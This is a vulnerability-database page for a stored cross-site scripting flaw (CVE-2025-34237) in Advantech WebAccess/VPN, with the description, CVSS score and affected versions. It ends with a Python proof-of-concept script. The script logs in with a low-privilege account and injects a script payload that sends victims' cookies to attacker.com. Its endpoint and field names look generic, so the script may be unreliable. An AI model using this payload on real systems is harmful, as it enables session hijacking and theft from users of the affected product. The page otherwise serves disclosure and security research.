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CVE-2025-34237 CVSS 5.4 MEDIUM

CVE-2025-34237

Published: 2025-11-06 20:15:47
Last Modified: 2025-11-28 16:44:35

Description

Advantech WebAccess/VPN versions prior to 1.1.5 contain a stored cross-site scripting (XSS) vulnerability via StandaloneVpnClientsController.addStandaloneVpnClientAction(). Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:advantech:webaccess\/vpn:*:*:*:*:*:*:*:* - VULNERABLE
Advantech WebAccess/VPN < 1.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-34237 PoC - Stored XSS in Advantech WebAccess/VPN # Target: StandaloneVpnClientsController.addStandaloneVpnClientAction() TARGET_URL = "http://target-website.com/WebAccessVPN" ATTACKER_PAYLOAD = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' def exploit_stored_xss(): """ This PoC demonstrates the stored XSS vulnerability in Advantech WebAccess/VPN. The vulnerability allows attackers to inject arbitrary JavaScript through the VPN client configuration fields, which is then stored and executed when other users view the affected page. """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { 'username': 'attacker_account', 'password': 'attacker_password' } session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Inject malicious XSS payload via VPN client add endpoint vpn_client_data = { 'clientName': ATTACKER_PAYLOAD, 'clientIP': '192.168.1.100', 'description': 'XSS Injection Test' } response = session.post( f"{TARGET_URL}/StandaloneVpnClientsController/addStandaloneVpnClientAction", data=vpn_client_data ) # Step 3: Verify the payload is stored and reflected if response.status_code == 200: print("[+] XSS payload successfully injected!") print("[+] Payload will be triggered when users view VPN client list") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

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